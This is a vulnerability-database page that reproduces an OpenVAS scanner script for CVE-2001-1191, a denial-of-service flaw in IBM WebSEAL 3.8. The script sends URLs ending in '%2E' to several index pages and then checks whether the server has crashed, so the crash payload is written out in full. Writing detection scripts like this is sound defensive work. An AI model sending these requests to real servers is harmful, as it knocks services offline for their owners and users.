Webseal denial of service vulnerability impacting Webseal 3.8 leads to server crash when URL with %2E is requested. Upgrade server or firewall it
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | IBM Tivoli SecureWay WebSEAL Proxy Policy Director Encoded URL DoS | 18 Aug 200200:00 | – | nessus |
![]() | Webseal DoS Vulnerability | 3 Nov 200500:00 | – | openvas |
![]() | CVE-2001-1191 | 11 Dec 200105:00 | – | nvd |
![]() | CVE-2001-1191 | 15 Mar 200205:00 | – | cve |
![]() | CVE-2001-1191 | 15 Mar 200205:00 | – | cvelist |
# OpenVAS Vulnerability Test
# $Id: webseal_DoS.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: Webseal denial of service
#
# Authors:
# Michel Arboi <[email protected]>
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added BugtraqID and CAN
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote web server dies when an URL ending with %2E is requested.
A cracker may use this flaw to make your server crash continually.";
tag_solution = "upgrade your server or firewall it.";
# References:
# Date: 11 Dec 2001 09:22:50 -0000
# From: "Matthew Lane" <[email protected]>
# To: [email protected]
# Subject: Webseal 3.8
#
# Affected:
# Webseal 3.8
if(description)
{
script_id(11089);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(3685);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2001-1191");
name = "Webseal denial of service";
script_name(name);
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2002 Michel Arboi");
family = "Denial of Service";
script_family(family);
script_dependencies("find_service.nasl", "httpver.nasl");
script_require_ports("Services/www", 80);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
include("http_func.inc");
port = get_http_port(default:80);
if (! get_port_state(port)) exit(0);
if (! can_host_asp(port:port)) exit(0);
if (http_is_dead(port: port)) exit(0);
soc = http_open_socket(port);
if (! soc) exit(0);
url[0] = "/index.html";
url[1] = "/index.htm";
url[2] = "/index.asp";
url[3] = "/";
for (i=0; i<4;i=i+1)
{
req = http_get(port: port, item: string(url[i], "%2E"));
send(socket: soc, data: req);
r = http_recv(socket: soc);
http_close_socket(soc);
soc = http_open_socket(port);
if(!soc) break;
}
# We must close the socket, VNC limits the number of parallel connections
if (soc) http_close_socket(soc);
if (http_is_dead(port: port)) { security_message(port); }
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo